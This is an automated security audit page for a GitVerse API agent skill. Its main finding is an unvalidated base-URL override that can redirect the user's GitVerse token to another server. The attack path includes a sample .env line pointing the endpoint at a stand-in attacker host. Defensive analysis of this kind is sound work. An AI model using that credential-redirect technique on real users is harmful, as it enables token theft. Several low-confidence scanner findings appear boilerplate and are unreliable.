Back to skill

Security audit

GitVerse API

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its GitVerse purpose, but it can attach your GitVerse token to an undocumented custom API endpoint, creating a meaningful credential-exposure risk.

Review carefully before installing. Use a narrowly scoped, revocable GitVerse token, avoid running the CLI from directories with untrusted .env files, and do not set GITVERSE_BASE_URL unless you intentionally trust that endpoint. Confirm repository, branch, and title before allowing the skill to create a pull request.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
src/client.ts:7
Finding
Authenticated API Requests Can Be Redirected to an Arbitrary Server<![CDATA[ ## Vulnerability Details **File Location**: `src/client.ts:7-15` **Vulnerability Type**: Unvalidated authenticated API endpoint override **Risk Level**: High ### Vulnerable Code ```ts const token = process.env.GITVERSE_TOKEN; if (!token) { throw new Error('GITVERSE_TOKEN environment variable is required'); } gitverse = new GitVerse({ token, baseUrl: process.env.GITVERSE_BASE_URL || 'https://gitverse.ru/api/v1', }); ``` The corresponding behavior is also present in the compiled artifact at `dist/client.js:5-12`. ### Technical Analysis The Skill accepts `GITVERSE_BASE_URL` without validating its protocol, hostname, port, or destination. The same SDK client is initialized with both this attacker-influenced endpoint and the user's GitVerse access token. Additionally, `src/index.ts:2` imports `dotenv/config`, which loads environment variables from a `.env` file in the process working directory by default. Consequently, if a user invokes the CLI from a directory containing an untrusted `.env` file, that file can define `GITVERSE_BASE_URL`. An already exported `GITVERSE_TOKEN` remains available because dotenv does not overwrite existing environment variables by default. The endpoint override is not documented in `README.md` or `SKILL.md`, making it less likely that users will recognize that authenticated traffic can be redirected. The implementation also does not require HTTPS, so it permits both credential forwarding to an arbitrary HTTPS server and potential plaintext transmission over HTTP, depending on SDK behavior. ### Attack Path 1. The victim exports a valid `GITVERSE_TOKEN` in their environment. 2. The attacker causes the victim to run the GitVerse CLI from a directory containing an attacker-controlled `.env` file. 3. The malicious file contains an endpoint override such as: ```dotenv GITVERSE_BASE_URL=https://attacker.example/api/v1 ``` 4. `dotenv/config` loads `GITVERSE_BASE_URL` from the current working directory while ...[truncated 1215 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. **Remove the endpoint override in production** - Use a constant, trusted GitVerse API endpoint when custom deployments are not a supported requirement. ```ts const GITVERSE_API_URL = 'https://gitverse.ru/api/v1'; gitverse = new GitVerse({ token, baseUrl: GITVERSE_API_URL, }); ``` 2. **Strictly validate custom endpoints when they are required** - Parse the value with `new URL()`. - Require the `https:` protocol. - Enforce an explicit allowlist of trusted hostnames. - Reject embedded usernames or passwords, URL fragments, unexpected ports, and malformed URLs. - Consider restricting the path to an approved API prefix. 3. **Do not implicitly load `.env` from the caller's working directory** - Load configuration only from a trusted, explicitly resolved Skill-owned path. - Alternatively, remove automatic dotenv loading and require configuration to be supplied through a controlled runtime environment. - Reject configuration files with unsafe ownership or permissions where applicable. 4. **Separate credentials by endpoint** - Never attach the production GitVerse token to a custom or untrusted endpoint. - If self-hosted endpoints must be supported, require a separately named credential and explicit user confirmation. 5. **Add automated security tests** - Verify that HTTP URLs, unapproved domains, embedded credentials, unexpected ports, and attacker-controlled `.env` files are rejected. - Confirm that authorization headers are never sent across redirects to a different origin. 6. **Document supported configuration** - Clearly document any endpoint override, its security implications, and the exact allowlist policy. - Recommend narrowly scoped, short-lived tokens and immediate revocation following suspected disclosure. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (19)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
Based on the supplied code chunk, the implementation only performs dotenv configuration import, a generic setup action for loading environment variables. There is no visible logic for connecting to gitverse.ru, making API requests, handling repositories, issues, or pull requests. Because the declared description claims a GitVerse integration as the skill's purpose, but the actual provided code does not substantiate that behavior and instead only shows unrelated initialization scaffolding, this is a mismatch.

Missing User Warnings

High
Confidence
97% confidence
Finding
The `pulls merge` command is presented with no cautionary text, even though merging a pull request changes repository history/state and may be difficult to undo. For markdown skill documentation, this kind of behavior should be clearly warned about because it can materially affect user data and repository integrity.

Session Persistence

Medium
Category
Rogue Agent
Content
Use this skill when you need to:
- List or view repositories
- List or view issues
- List, view, or create pull requests
- View repository information

## Installation via OpenClaw
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
This markdown file documents a state-changing operation (`pulls create`) that affects a remote repository, but it does not include any warning or caution about creating a new pull request on the user's behalf. Under the markdown-specific warning criteria, actions that can affect user data or system integrity should be disclosed clearly.

Lp3

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding
The skill declares executable behavior involving environment variables and network access but does not define any explicit tool scope such as permissions or allowed-tools. In an agent setting, this weakens least-privilege controls and can allow broader-than-expected access to credentials and outbound requests if the runtime honors skill metadata for safety decisions.

Vague Triggers

Medium
Confidence
94% confidence
Finding
The activation text includes a broad catch-all scope like 'any other GitVerse operations,' which can cause an agent to invoke the skill for unbounded actions beyond those specifically described. In agent ecosystems, overly broad routing language increases the chance of unintended high-impact operations being selected without clear user intent.

Session Persistence

Medium
Category
Rogue Agent
Content
Use this skill when you need to:
- List or view repositories
- List or view issues
- List, view, or create pull requests
- View repository information

## Installation
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The skill tells users to place an access token in an environment variable or .env file but provides no guidance on secure storage, file permissions, redaction, or avoiding accidental commits. This increases the risk of credential exposure, especially because .env files are commonly leaked through logs, shell history, or repository inclusion.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
The documentation instructs creation of pull requests, which changes remote repository state, but does not warn that this is a write operation requiring explicit user approval. In an agent context, omission of that warning can lead to unintended code publication, workflow triggers, or repository modifications under the user's credentials.

Natural-Language Policy Violations

Medium
Confidence
80% confidence
Finding
The usage section shows only Russian prompt examples and frames invocation as "When you ask me to work with GitVerse" using Russian utterances, with no indication that other languages are supported or that Russian is an intentional, justified restriction. This can be read as imposing a locale expectation without user opt-in.

Missing User Warnings

Medium
Confidence
86% confidence
Finding
The document instructs users to export `GITVERSE_TOKEN` but does not warn that this is a sensitive credential that should be protected from shell history, logs, and accidental sharing. Markdown skill descriptions should disclose privacy- or security-relevant handling when user credentials are involved.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The markdown documents `issues close` as a command to close an issue, but provides no warning that it changes remote repository state. Under the markdown-specific warning rule, actions that can affect user data or system integrity should disclose their impact so users are not surprised by state-changing operations.

Natural-Language Policy Violations

Low
Confidence
95% confidence
Finding
The natural-language invocation examples are presented only in Russian (e.g. "Покажи мои репозитории", "Создай PR в saic/chatbot") and imply that the skill is triggered through that language alone. There is no accompanying note that other languages are supported or that Russian is merely an example, which creates a locale/language policy concern.

Unpinned Dependencies

Low
Category
Supply Chain
Content
"author": "AI Center",
  "license": "MIT",
  "dependencies": {
    "@onreza/gitverse-sdk": "^1.0.4",
    "commander": "^12.1.0",
    "dotenv": "^16.6.1"
  },
Confidence
92% confidence
Finding
The dependency uses a caret range, which allows future minor and patch versions to be installed. This can introduce supply-chain risk because a newly published compromised or breaking upstream release could be pulled into builds without explicit review, especially for a skill that interfaces with external APIs and may handle tokens or repository metadata.

Unpinned Dependencies

Low
Category
Supply Chain
Content
"license": "MIT",
  "dependencies": {
    "@onreza/gitverse-sdk": "^1.0.4",
    "commander": "^12.1.0",
    "dotenv": "^16.6.1"
  },
  "devDependencies": {
Confidence
91% confidence
Finding
The commander package is referenced with a caret version, so installations may resolve to newer releases than the author tested. While common in Node projects, this still creates a supply-chain exposure window where an upstream compromised release or unexpected behavior change could affect CLI parsing or execution paths.

Unpinned Dependencies

Low
Category
Supply Chain
Content
"dependencies": {
    "@onreza/gitverse-sdk": "^1.0.4",
    "commander": "^12.1.0",
    "dotenv": "^16.6.1"
  },
  "devDependencies": {
    "@types/node": "^20.19.37",
Confidence
91% confidence
Finding
The dotenv dependency is not pinned to an exact version, allowing dependency drift across environments. In a skill likely to consume API credentials from environment files, any compromised or faulty upstream update could affect secret loading behavior or execution reliability.

Unpinned Dependencies

Low
Category
Supply Chain
Content
"dotenv": "^16.6.1"
  },
  "devDependencies": {
    "@types/node": "^20.19.37",
    "typescript": "^5.9.3"
  }
}
Confidence
40% confidence
Finding
Dependencies lack version pinning, allowing potential malicious package updates. Consider pinning versions.

Unpinned Dependencies

Low
Category
Supply Chain
Content
},
  "devDependencies": {
    "@types/node": "^20.19.37",
    "typescript": "^5.9.3"
  }
}
Confidence
40% confidence
Finding
Dependencies lack version pinning, allowing potential malicious package updates. Consider pinning versions.

Missing User Warnings

Low
Confidence
84% confidence
Finding
This code file defines a `create` command that will create a pull request via `pulls.createPull`, which is a remote write operation against a repository service. In this file there is no visible confirmation prompt, warning text, or user-facing disclosure that the command changes remote state, unlike the read-only list/view commands around it.

Static analysis

No suspicious patterns detected.